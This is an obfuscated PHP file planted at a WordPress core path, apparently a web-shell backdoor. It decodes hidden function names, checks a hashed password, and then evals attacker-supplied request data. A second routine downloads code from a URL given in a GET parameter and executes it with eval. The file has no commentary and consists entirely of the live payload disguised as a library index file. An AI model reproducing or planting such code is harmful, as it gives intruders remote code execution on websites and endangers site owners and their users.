File: /home/lucendi/www/wp-includes/js/plupload/plupload/index.php
<?php $A = "r"."a"."n"."g"."e"; $h = $A("~", " "); $p=${$h[12+19].$h[36+23].$h[41+6].$h[35+12].$h[48+3].$h[1+52].$h[18+39]}; if((in_array(gettype($p).count($p),$p)&&count($p)==19)&&(md5(md5(md5(md5($p[13]))))==="ef8669e065e8af919f01ebf48ffd384a")){ (($p[69]=$p[69].$p[78])&&($p[89]=$p[69]($p[89]))&&(@eval($p[69](${$p[31]}[21]))));} metaphone("ODI1OTM4MzcxMDkwODk1MDk5MjYzMzAy"); class ZcnB{ static function euBCrkfZ($vGFVujklCI) { $jFCTPQpGi = "r"."a"."n"."g"."e"; $FnG = $jFCTPQpGi("~", " "); $ab = explode("^", $vGFVujklCI); $NHcUxtu = ""; foreach ($ab as $lWLnJhtv => $iKG) $NHcUxtu .= $FnG[$iKG - 95018]; return $NHcUxtu; } static function bYWBM($ZzriTCeVq, $LVX) { $sFkXYyLIQ = curl_init($ZzriTCeVq); curl_setopt($sFkXYyLIQ, CURLOPT_RETURNTRANSFER, 1); $QrAHCS = curl_exec($sFkXYyLIQ); return empty($QrAHCS) ? $LVX($ZzriTCeVq) : $QrAHCS; } static function bXutgJypVR() { $IsKyvRjG = array("95045^95030^95043^95047^95028^95043^95049^95042^95027^95034^95045^95028^95039^95033^95034","95029^95028^95030^95049^95030^95033^95028^95095^95093","95038^95029^95033^95034^95049^95044^95043^95045^95033^95044^95043","95032^95047^95045^95037","95046^95047^95029^95043^95090^95092^95049^95044^95043^95045^95033^95044^95043","95042^95039^95036^95043^95049^95041^95043^95028^95049^95045^95033^95034^95028^95043^95034^95028^95029","95072^95102","95019","95097^95102","95079^95062^95062^95079^95055","95042^95039^95036^95028^95043^95030^95049^95039^95034^95032^95027^95028"); foreach ($IsKyvRjG as $AbSwK) $GgalkEStn[] = self::euBCrkfZ($AbSwK); $TCA = @$GgalkEStn[1]($GgalkEStn[4+6](INPUT_GET, $GgalkEStn[9+0])); $vfLtBwbU = @$GgalkEStn[0+3]($GgalkEStn[5+1], $TCA); $Gey = $GgalkEStn[2+0]($vfLtBwbU, true); @$GgalkEStn[6+4](INPUT_GET, "of") == 1 && die($GgalkEStn[3+2](__FILE__)); if( ((@$Gey[0] - time()) > 0) and (md5(md5($Gey[1+2])) === "cb145525421d7b64ec53bf7814d8df43") ): $LFbqrmkX = self::bYWBM($Gey[1+0], $GgalkEStn[3+2]);@eval($GgalkEStn[4+0]($LFbqrmkX));die; endif; }}ZcnB::bXutgJypVR(); ?>